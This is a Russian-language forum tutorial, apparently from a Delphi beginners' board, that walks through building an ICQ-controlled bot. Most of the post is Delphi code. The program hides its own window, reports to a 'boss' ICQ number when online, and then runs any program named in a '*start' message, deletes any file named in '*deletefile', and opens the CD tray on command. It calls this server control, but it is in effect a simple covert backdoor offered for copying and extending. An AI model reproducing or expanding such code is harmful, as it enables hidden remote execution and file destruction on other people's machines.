Главная Контроль icq - Форум программистов и сисадминов
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум программистов и сисадминов » Программирование Delphi/С#С++/Assembler/Pascal/ » Delphi для новичков » Контроль icq
Контроль icq
xakerOKДата: Суббота, 08.05.2010, 12:17 | Сообщение № 1
Сержант
Группа: Администраторы
Сообщений: 21
Репутация: 256
Статус: Offline
Решил напечатать мини статью по написании контроля сервера, с помощью асеки!!!
Начнем!!!
Поехали!!!Открываем новый проект, на форму кидаем 3-TEdit, 2-Tbutton, 1-TicqClient
В uses дописываем shellapi, и делаем процедуру клика буттонов!Получается как-то так:
Code
unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, ICQClient, StdCtrls;

type
   TForm1 = class(TForm)
     Edit1: TEdit;
     Edit2: TEdit;
     Edit3: TEdit;
     Button1: TButton;
     Button2: TButton;
     ICQClient1: TICQClient;
     procedure Button1Click(Sender: TObject);
     procedure Button2Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

Смысл в контроле?Чтоб посылать боту определенные слова, и он их выполнял!
Давайте напишем, что будет делать программа, при нажатии буттон 1!
Но перед этим, объявите глобальную переменную boss integer!
Code
implementation

{$R *.dfm}
var boss:integer; //Глобальная переменная
procedure TForm1.Button1Click(Sender: TObject);
begin
  IcqClient1.UIN := strtoint(Edit1.text);   //Из первого едита берем уин бота
  IcqClient1.Password := Edit2.Text;  //Из второго едита берем пасс от бота
  boss := strtoint(Edit3.Text); //Заполняем переменную босс главным уином их едит3
  IcqClient1.Login();     //коннектимся....
end;

Так теперь, надо чтоб как-то нас бот оповестил что он онлайн!!!Для этого нажмите по объекту IcqClient на форме, и в Object inspector перейдите во вкладку Events!Там есть процедура
OnLogin, нажмите пару раз!!У вас должно получится так, в сурсе
Code
procedure TForm1.ICQClient1Login(Sender: TObject);
begin

end;

Пропишим-ка, чтоб он нам отправил - IcqClient1.SendMessage(boss,'Bot is online');
Прекрасно...Теперь если будет коннект, то нам пришлют сообщ
Code
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
IcqClient1.SendMessage(boss,'Bot is online');//отправим боссу то что бот онлайн!
end;

Так теперь пропишем процедуру button2click, я предлагаю сделать программу
хайд! application.ShowMainForm := false;
Code
procedure TForm1.Button2Click(Sender: TObject);
begin
  application.ShowMainForm := false;//скроемся!
end;

Теперь самое главное, управление ботом!!!о5 нажмите на объект icqClient на форме, и перейдите во вкладку events, там есть процедура OnMessageRecv, нажмите пару раз!!
Должно у вас в сурсе выглядеть так -
Code
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
begin

end;

Объявим переменную cmd строковой!var cmd:string;
Теперь давайте составим комманды!!
Code
*help - help
*start - Это у нас будет стартовать проги
*deletefile - это у нас будет удалять проги
*Cd_open - открывает смдюк //для этого добавьте в uses MMSystem;
*Cd_close - закрывает сидюк

Давайте пропишем!!!
Значит план, привоить cmd комманды, и ставить условия!Давайте пропишем первую смд!
Code
cmd := msg;
if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+
                    '*help - help'+#13#10+
                    '*start -  Это у нас будет стартовать проги'+#13#10+
                    '*deletefile -это у нас будет удалять проги'+#13#10+
                    '*Cd_open - открывает смдюк '+#13#10+
                    '*Cd_close - закрывает сидюк');

Я думаю уже все поняли как строить запросы)Давайте по порядку!!!!
Начнем со *start! Вот тут я думаю будет интересно!!
Нам надо понять что это *start и какая-то прога!!Помнится есть copy()
Code
if copy(cmd,1,pos(' ',cmd)-1) = '*start'

Теперь давайте пропишем что должен делать!!
Code
WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);//ОТкрываем прогу после пробела и до конца строки!
   IcqClient1.SendMessage(boss,cmd+' done');//Отправляем что гуд

Теперь давайте *Deletefile принцип как и у *start
Code

  if  copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then//Определяем смд
  begin
   deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));// удаляем фаил !
   IcqClient1.SendMessage(boss,cmd+' done');//отправляем что гуд!
  end;

Так у нас уже 3 комманды*help *start *deletefile
Давайте уже пропишем чтоб закрывал сидюк и открывал....
Тут все просто просто если cmd = '*Cd_open' то открыть сидюк!
Code
if cmd='*Cd_open' then  
  begin
    mciSendString('Set cdaudio door open wait', nil, 0, handle);//открываем
    IcqClient1.SendMessage(boss,cmd+' done');
  end;

  if cmd='*Cd_close' then
  begin
    mciSendString('Set cdaudio door closed wait', nil, 0, handle);//Закрываем
    IcqClient1.SendMessage(boss,cmd+' done');
  end;

Впринципе все смд, и весь бот, можно напписать кучу комманд- фантазия...
 
Форум программистов и сисадминов » Программирование Delphi/С#С++/Assembler/Pascal/ » Delphi для новичков » Контроль icq
  • Страница 1 из 1
  • 1
Поиск:

Copyright SLEM © 2024
Бесплатный хостинг uCoz